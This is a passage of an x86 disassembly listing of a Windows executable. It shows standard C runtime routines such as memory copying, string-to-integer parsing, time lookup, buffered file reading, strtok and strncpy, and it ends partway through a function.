; ---------------------------------------------------------------------------
		align 4
off_4163FC	dd offset loc_41645F	; DATA XREF: sub_416320:loc_41637Cr
		dd offset loc_41644C
		dd offset loc_416444
		dd offset loc_41643C
		dd offset loc_416434
		dd offset loc_41642C
		dd offset loc_416424
		dd offset loc_41641C
; ---------------------------------------------------------------------------


loc_41641C:				; CODE XREF: sub_416320:loc_41637Cj
					; DATA XREF: sub_416320+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_416424:				; CODE XREF: sub_416320:loc_41637Cj
					; DATA XREF: sub_416320+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41642C:				; CODE XREF: sub_416320:loc_41637Cj
					; DATA XREF: sub_416320+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_416434:				; CODE XREF: sub_416320:loc_41637Cj
					; DATA XREF: sub_416320+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41643C:				; CODE XREF: sub_416320:loc_41637Cj
					; DATA XREF: sub_416320+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_416444:				; CODE XREF: sub_416320:loc_41637Cj
					; DATA XREF: sub_416320+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41644C:				; CODE XREF: sub_416320:loc_41637Cj
					; DATA XREF: sub_416320+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41645F:				; CODE XREF: sub_416320:loc_41637Cj
					; DATA XREF: sub_416320:off_4163FCo
		jmp	off_416468[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_416468	dd offset loc_416478	; DATA XREF: sub_416320+35r
					; sub_416320+92r ...
		dd offset loc_416480
		dd offset loc_41648C
		dd offset loc_4164A0
; ---------------------------------------------------------------------------


loc_416478:				; CODE XREF: sub_416320+35j
					; sub_416320+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_416480:				; CODE XREF: sub_416320+35j
					; sub_416320+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41648C:				; CODE XREF: sub_416320+35j
					; sub_416320+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4164A0:				; CODE XREF: sub_416320+35j
					; sub_416320+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4164B8:				; CODE XREF: sub_416320+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_4164EC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4164E0
		std
		rep movsd
		cld
		jmp	off_416600[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4164E0:				; CODE XREF: sub_416320+1B1j
					; sub_416320+208j ...
		neg	ecx
		jmp	off_4165B0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4164EC:				; CODE XREF: sub_416320+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_416504
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_416504+4[eax*4]
; ---------------------------------------------------------------------------


loc_416504:				; CODE XREF: sub_416320+1D6j
					; DATA XREF: sub_416320+1DDr
		jmp	off_416600[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_416517+1
; ---------------------------------------------------------------------------
		cmp	[ebp+arg_39], ah
		add	[eax+65h], ah
		inc	ecx


loc_416517:				; DATA XREF: sub_416320+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_4164E0
		std
		rep movsd
		cld
		jmp	off_416600[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_4164E0
		std
		rep movsd
		cld
		jmp	off_416600[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_4164E0
		std
		rep movsd
		cld
		jmp	off_416600[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4165B4
		dd offset loc_4165BC
		dd offset loc_4165C4
		dd offset loc_4165CC
		dd offset loc_4165D4
		dd offset loc_4165DC
		dd offset loc_4165E4
off_4165B0	dd offset loc_4165F7	; DATA XREF: sub_416320+1C2r
; ---------------------------------------------------------------------------


loc_4165B4:				; DATA XREF: sub_416320+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_4165BC:				; DATA XREF: sub_416320+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_4165C4:				; DATA XREF: sub_416320+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_4165CC:				; DATA XREF: sub_416320+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_4165D4:				; DATA XREF: sub_416320+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_4165DC:				; DATA XREF: sub_416320+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_4165E4:				; DATA XREF: sub_416320+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4165F7:				; CODE XREF: sub_416320+1C2j
					; DATA XREF: sub_416320:off_4165B0o
		jmp	off_416600[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_416600	dd offset loc_416610	; DATA XREF: sub_416320+1B7r
					; sub_416320:loc_416504r ...
		dd offset loc_416618
		dd offset loc_416628
		dd offset loc_41663C
; ---------------------------------------------------------------------------


loc_416610:				; CODE XREF: sub_416320+1B7j
					; sub_416320:loc_416504j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416618:				; CODE XREF: sub_416320+1B7j
					; sub_416320:loc_416504j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_416628:				; CODE XREF: sub_416320+1B7j
					; sub_416320:loc_416504j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41663C:				; CODE XREF: sub_416320+1B7j
					; sub_416320:loc_416504j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_416320	endp


; =============== S U B	R O U T	I N E =======================================



sub_416655	proc near		; CODE XREF: sub_404DB8+34p
					; sub_404DB8+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_415BFB
		pop	ecx
		pop	ecx
		retn
sub_416655	endp


; =============== S U B	R O U T	I N E =======================================



sub_416663	proc near		; CODE XREF: sub_4166D0+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_46CCBC
		call	sub_41B4D8
		mov	edx, dword_46CCBC
		pop	ecx
		mov	ecx, dword_46CCB8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_4166C2
		push	edx
		call	sub_41B4D8
		add	eax, 10h
		push	eax
		push	dword_46CCBC
		call	sub_41737F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4166A5
		retn
; ---------------------------------------------------------------------------


loc_4166A5:				; CODE XREF: sub_416663+3Fj
		mov	ecx, dword_46CCB8
		sub	ecx, dword_46CCBC
		mov	dword_46CCBC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_46CCB8, ecx


loc_4166C2:				; CODE XREF: sub_416663+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_46CCB8, 4
		retn
sub_416663	endp


; =============== S U B	R O U T	I N E =======================================



sub_4166D0	proc near		; CODE XREF: sub_404EA5+1Ap
					; sub_4209EE+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_416663
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_4166D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4166E2	proc near		; DATA XREF: seg001:00423018o
		push	80h
		call	sub_415BE9
		test	eax, eax
		pop	ecx
		mov	dword_46CCBC, eax
		jnz	short loc_416703
		push	18h
		call	sub_417C0E
		mov	eax, dword_46CCBC
		pop	ecx


loc_416703:				; CODE XREF: sub_4166E2+12j
		and	dword ptr [eax], 0
		mov	eax, dword_46CCBC
		mov	dword_46CCB8, eax
		retn
sub_4166E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_416711	proc near		; CODE XREF: sub_418AD0+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_416728
		add	esp, 10h
		retn
sub_416711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416728	proc near		; CODE XREF: sub_416711+Ep
					; sub_416930+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_416740:				; CODE XREF: sub_416728+46j
		cmp	dword_43812C, 1
		jle	short loc_416758
		movzx	eax, bl
		push	8
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_416767
; ---------------------------------------------------------------------------


loc_416758:				; CODE XREF: sub_416728+1Fj
		mov	ecx, off_437F20
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_416767:				; CODE XREF: sub_416728+2Ej
		test	eax, eax
		jz	short loc_416770
		mov	bl, [esi]
		inc	esi
		jmp	short loc_416740
; ---------------------------------------------------------------------------


loc_416770:				; CODE XREF: sub_416728+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41677E
		or	[ebp+arg_C], 2
		jmp	short loc_416783
; ---------------------------------------------------------------------------


loc_41677E:				; CODE XREF: sub_416728+4Ej
		cmp	bl, 2Bh
		jnz	short loc_416789


loc_416783:				; CODE XREF: sub_416728+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_416789:				; CODE XREF: sub_416728+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_416920
		cmp	eax, 1
		jz	loc_416920
		cmp	eax, 24h
		jg	loc_416920
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_4167D1
		cmp	bl, 30h
		jz	short loc_4167BB
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_4167ED
; ---------------------------------------------------------------------------


loc_4167BB:				; CODE XREF: sub_416728+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4167CE
		cmp	al, 58h
		jz	short loc_4167CE
		mov	[ebp+arg_8], 8
		jmp	short loc_4167ED
; ---------------------------------------------------------------------------


loc_4167CE:				; CODE XREF: sub_416728+97j
					; sub_416728+9Bj
		mov	[ebp+arg_8], ecx


loc_4167D1:				; CODE XREF: sub_416728+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4167ED
		cmp	bl, 30h
		jnz	short loc_4167ED
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4167E5
		cmp	al, 58h
		jnz	short loc_4167ED


loc_4167E5:				; CODE XREF: sub_416728+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_4167ED:				; CODE XREF: sub_416728+91j
					; sub_416728+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_4167FD:				; CODE XREF: sub_416728+16Cj
		cmp	dword_43812C, 1
		movzx	esi, bl
		jle	short loc_416815
		push	4
		push	esi
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_416820
; ---------------------------------------------------------------------------


loc_416815:				; CODE XREF: sub_416728+DFj
		mov	eax, off_437F20
		mov	al, [eax+esi*2]
		and	eax, 4


loc_416820:				; CODE XREF: sub_416728+EBj
		test	eax, eax
		jz	short loc_41682C
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41685E
; ---------------------------------------------------------------------------


loc_41682C:				; CODE XREF: sub_416728+FAj
		cmp	dword_43812C, 1
		jle	short loc_416840
		push	edi
		push	esi
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41684B
; ---------------------------------------------------------------------------


loc_416840:				; CODE XREF: sub_416728+10Bj
		mov	eax, off_437F20
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41684B:				; CODE XREF: sub_416728+116j
		test	eax, eax
		jz	short loc_416899
		movsx	eax, bl
		push	eax
		call	sub_41B539
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41685E:				; CODE XREF: sub_416728+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_416899
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_416883
		jnz	short loc_41687D
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_416883


loc_41687D:				; CODE XREF: sub_416728+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41688C
; ---------------------------------------------------------------------------


loc_416883:				; CODE XREF: sub_416728+145j
					; sub_416728+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41688C:				; CODE XREF: sub_416728+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_4167FD
; ---------------------------------------------------------------------------


loc_416899:				; CODE XREF: sub_416728+125j
					; sub_416728+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_4168B7
		test	edx, edx
		jz	short loc_4168B1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4168B1:				; CODE XREF: sub_416728+181j
		and	[ebp+var_8], 0
		jmp	short loc_416904
; ---------------------------------------------------------------------------


loc_4168B7:				; CODE XREF: sub_416728+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_4168DD
		test	cl, 1
		jnz	short loc_416904
		and	ecx, 2
		jz	short loc_4168D4
		cmp	[ebp+var_8], 80000000h
		ja	short loc_4168DD


loc_4168D4:				; CODE XREF: sub_416728+1A1j
		test	ecx, ecx
		jnz	short loc_416904
		cmp	[ebp+var_8], eax
		jbe	short loc_416904


loc_4168DD:				; CODE XREF: sub_416728+197j
					; sub_416728+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_46B634, 22h
		jz	short loc_4168F3
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_416904
; ---------------------------------------------------------------------------


loc_4168F3:				; CODE XREF: sub_416728+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_416904:				; CODE XREF: sub_416728+18Dj
					; sub_416728+19Cj ...
		test	edx, edx
		jz	short loc_41690D
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41690D:				; CODE XREF: sub_416728+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41691B
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41691B:				; CODE XREF: sub_416728+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41692B
; ---------------------------------------------------------------------------


loc_416920:				; CODE XREF: sub_416728+66j
					; sub_416728+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_416929
		mov	[eax], edi


loc_416929:				; CODE XREF: sub_416728+1FDj
		xor	eax, eax


loc_41692B:				; CODE XREF: sub_416728+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416728	endp


; =============== S U B	R O U T	I N E =======================================



sub_416930	proc near		; CODE XREF: sub_405398+4A6p
					; sub_40CD3A+359Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_416728
		add	esp, 10h
		retn
sub_416930	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416947	proc near		; CODE XREF: sub_405398+24Cp
					; sub_405398+450p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_415B10
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B605
		add	esp, 10h
		leave
		retn
sub_416947	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41697B	proc near		; CODE XREF: sub_405398+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_42105C	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_42115C	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_46B62A
		jnz	short loc_4169E0
		mov	ax, [ebp+var_18]
		cmp	ax, word_46B628
		jnz	short loc_4169E0
		mov	ax, [ebp+var_1A]
		cmp	ax, word_46B626
		jnz	short loc_4169E0
		mov	ax, [ebp+var_1E]
		cmp	ax, word_46B622
		jnz	short loc_4169E0
		mov	ax, [ebp+var_20]
		cmp	ax, word_46B620
		jnz	short loc_4169E0
		mov	eax, dword_46B618
		jmp	short loc_416A25
; ---------------------------------------------------------------------------


loc_4169E0:				; CODE XREF: sub_41697B+28j
					; sub_41697B+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_421158	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416A0D
		cmp	eax, 2
		jnz	short loc_416A09
		cmp	[ebp+var_32], 0
		jz	short loc_416A09
		cmp	[ebp+var_24], 0
		jz	short loc_416A09
		push	1
		pop	eax
		jmp	short loc_416A10
; ---------------------------------------------------------------------------


loc_416A09:				; CODE XREF: sub_41697B+7Aj
					; sub_41697B+81j ...
		xor	eax, eax
		jmp	short loc_416A10
; ---------------------------------------------------------------------------


loc_416A0D:				; CODE XREF: sub_41697B+75j
		or	eax, 0FFFFFFFFh


loc_416A10:				; CODE XREF: sub_41697B+8Cj
					; sub_41697B+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_46B620
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_46B618, eax
		pop	esi


loc_416A25:				; CODE XREF: sub_41697B+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41C0B6
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_416A55
		mov	[ecx], eax

locret_416A55:				; CODE XREF: sub_41697B+D6j
		leave
		retn
sub_41697B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A57	proc near		; CODE XREF: sub_4059FC+4Ep
					; sub_406B84+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_416A7B
		xor	eax, eax
		jmp	loc_416B24
; ---------------------------------------------------------------------------


loc_416A7B:				; CODE XREF: sub_416A57+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416A8E
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_416A9A
; ---------------------------------------------------------------------------


loc_416A8E:				; CODE XREF: sub_416A57+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_416A9A
; ---------------------------------------------------------------------------


loc_416A97:				; CODE XREF: sub_416A57+C4j
		mov	ecx, [ebp+arg_0]


loc_416A9A:				; CODE XREF: sub_416A57+35j
					; sub_416A57+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416ACC
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_416ACC
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_416AB1
		mov	edi, eax


loc_416AB1:				; CODE XREF: sub_416A57+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_4153F0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_416B17
; ---------------------------------------------------------------------------


loc_416ACC:				; CODE XREF: sub_416A57+49j
					; sub_416A57+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_416AFF
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_416AE2
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_416AE2:				; CODE XREF: sub_416A57+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41C251
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416B29
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416B2F
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_416B17
; ---------------------------------------------------------------------------


loc_416AFF:				; CODE XREF: sub_416A57+78j
		push	esi
		call	sub_41C178
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416B33
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_416B17:				; CODE XREF: sub_416A57+73j
					; sub_416A57+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_416A97
		mov	eax, [ebp+arg_8]


loc_416B24:				; CODE XREF: sub_416A57+1Fj
					; sub_416A57+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416B29:				; CODE XREF: sub_416A57+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_416B33
; ---------------------------------------------------------------------------


loc_416B2F:				; CODE XREF: sub_416A57+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_416B33:				; CODE XREF: sub_416A57+B2j
					; sub_416A57+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_416B24
sub_416A57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B3F	proc near		; CODE XREF: sub_405A96+2A1p
					; sub_406048+100p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_416B58:				; CODE XREF: sub_416B3F+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_416B58
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_416B80
		mov	edx, dword_46B630


loc_416B80:				; CODE XREF: sub_416B3F+39j
					; sub_416B3F+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_416BA0
		test	al, al
		jz	short loc_416BA0
		inc	edx
		jmp	short loc_416B80
; ---------------------------------------------------------------------------


loc_416BA0:				; CODE XREF: sub_416B3F+58j
					; sub_416B3F+5Cj
		mov	ebx, edx


loc_416BA2:				; CODE XREF: sub_416B3F+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_416BC6
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_416BC2
		inc	edx
		jmp	short loc_416BA2
; ---------------------------------------------------------------------------


loc_416BC2:				; CODE XREF: sub_416B3F+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_416BC6:				; CODE XREF: sub_416B3F+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_46B630, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_416B3F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416BE0	proc near		; CODE XREF: sub_4062F7+1B3p
					; sub_4071B6+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_416C63
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_416C04
		shr	ecx, 2
		jnz	short loc_416C71
		jmp	short loc_416C25
; ---------------------------------------------------------------------------


loc_416C04:				; CODE XREF: sub_416BE0+1Bj
					; sub_416BE0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_416C32
		test	al, al
		jz	short loc_416C3A
		test	esi, 3
		jnz	short loc_416C04
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416C71


loc_416C20:				; CODE XREF: sub_416BE0+8Fj
		and	ebx, 3
		jz	short loc_416C32


loc_416C25:				; CODE XREF: sub_416BE0+22j
					; sub_416BE0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_416C5E
		dec	ebx
		jnz	short loc_416C25


loc_416C32:				; CODE XREF: sub_416BE0+2Bj
					; sub_416BE0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416C3A:				; CODE XREF: sub_416BE0+2Fj
		test	edi, 3
		jz	short loc_416C54


loc_416C42:				; CODE XREF: sub_416BE0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_416CD6
		test	edi, 3
